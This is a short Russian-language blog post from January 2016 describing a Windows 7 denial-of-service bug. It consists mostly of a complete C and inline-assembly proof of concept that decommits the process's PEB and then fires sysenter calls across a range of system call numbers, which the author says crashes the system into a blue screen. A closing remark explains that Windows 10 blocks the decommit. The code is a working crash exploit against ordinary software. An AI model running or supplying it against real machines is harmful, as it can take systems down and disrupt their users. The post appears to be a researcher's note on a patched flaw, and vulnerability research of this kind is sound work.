пятница, 22 января 2016 г.

Peb decommit bug

Старый добрый DOS с декоммитом Peb валит win7 в BSOD:

 void FreePeb()
{
    PVOID pebAddress = NULL;
    
    __asm
    {
        mov eax, DWORD ptr fs:[0x30]
        mov DWORD ptr [pebAddress], eax
    }

    VirtualFreeEx( GetCurrentProcess(), pebAddress, 0, MEM_DECOMMIT );
}

int wmain( int argc, wchar_t *argv[] )
{   
    FreePeb();

    for ( unsigned int i = 0x1000; i < 0x2000; i++ )
    {
        __asm
        {
            push 0
            push 0
            push 0
            push 0
            push 0
            push retSysenter
            mov edx, esp
            mov eax, dword ptr [i]
            sysenter
retSysenter:
            add esp, 5*4
        }
    }

    cin.get();
    return 0;
}

А на win10 данный DOS уже не работает, PEB декоммитнуть больше не получится из-за новых битов защиты:

VirtualFreeEx => NtFreeVirtualMemory => MiCheckSecuredVad => возвращает STATUS_INVALID_PAGE_PROTECTION(0xC0000045)

У сожалению нет возможности проверить точную версию ОС, где был пофикшен данный баг, возможно это случилось в dev builds win10 или даже еще раньше.